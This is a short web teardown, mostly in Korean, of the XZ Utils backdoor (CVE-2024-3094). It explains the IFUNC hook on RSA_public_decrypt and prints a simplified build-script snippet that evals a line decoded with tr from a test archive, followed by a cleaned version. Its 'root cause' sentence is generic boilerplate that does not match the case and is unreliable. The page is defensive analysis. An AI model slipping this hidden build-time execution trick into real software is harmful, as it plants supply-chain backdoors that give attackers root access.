flawopen.com/Teardowns/cve-2024-3094-xz-utils-backdoor
CVE-2024-3094(XZ Utils 백도어) 기술 소스 코드 심층 분석: liblzma의 악의적인 IFUNC 리졸버 수정이 OpenSSH 인증을 무력화한 세부 과정.
한 은행이 표준 배관 파이프를 사용하여 금고를 짓는다고 상상해 보십시오. 공식 설계도는 완벽합니다. 하지만 배송 상자를 포장하던 공장 직원이 파이프 내부에 눈에 보이지 않는 전자 와이어를 몰래 삽입했습니다. 이 파이프가 Linux 시스템에서 금고에 조립되면, 와이어가 은행 정문 잠금장치(OpenSSH)에 몰래 연결되어 그 직원이 비밀 리모컨으로 언제든지 금고를 열 수 있게 됩니다. CVE-2024-3094에서 백도어는 릴리스 압축 파일(Tarball)의 빌드 스크립트 내부에 정교하게 숨겨져 SSH를 통한 무인증 루트 권한 획득을 가능하게 했습니다.
Open Source SystemsCWE-SecurityDefense-in-Depth근본 원인은 오픈 소스 시스템의 검증되지 않은 경계 매개변수로 인해 상태 비동기화 및 보안 제어 우회가 발생한 데 있습니다.
Linux distributions linked OpenSSH to libsystemd for startup notification, which linked liblzma for compression.
During process startup, glibc evaluated GNU IFUNC (Indirect Function) resolvers before read-only memory protections were finalized.
The backdoor hooked IFUNC to traverse the dynamic linker symbol tables and overwrite the address of RSA_public_decrypt.
When an SSH client connects with a signature signed by the attacker's Ed448 private key, the hooked function executes arbitrary root commands.
# Backdoored tarball: Extracts hidden binary object from test assets
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])
# Decodes obfuscated binary payload from test files using sed & tr
if test -f "$srcdir/tests/files/bad-3-corrupt_lzma2.xz"; then
eval $(tr " \-_" " _\-" < "$srcdir/tests/files/bad-3-corrupt_lzma2.xz" | head -n 1)
fi
# Replaces liblzma CRC64 resolver to hijack OpenSSH RSA_public_decrypt
# Fixed: Restored standard Gnulib macro; eliminated hidden execution hooks
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])
# Standard clean Autotools build-to-host path resolution
AC_DEFUN([gl_BUILD_TO_HOST],
[
AC_REQUIRE([gl_BUILD_TO_HOST_BINDIR])
])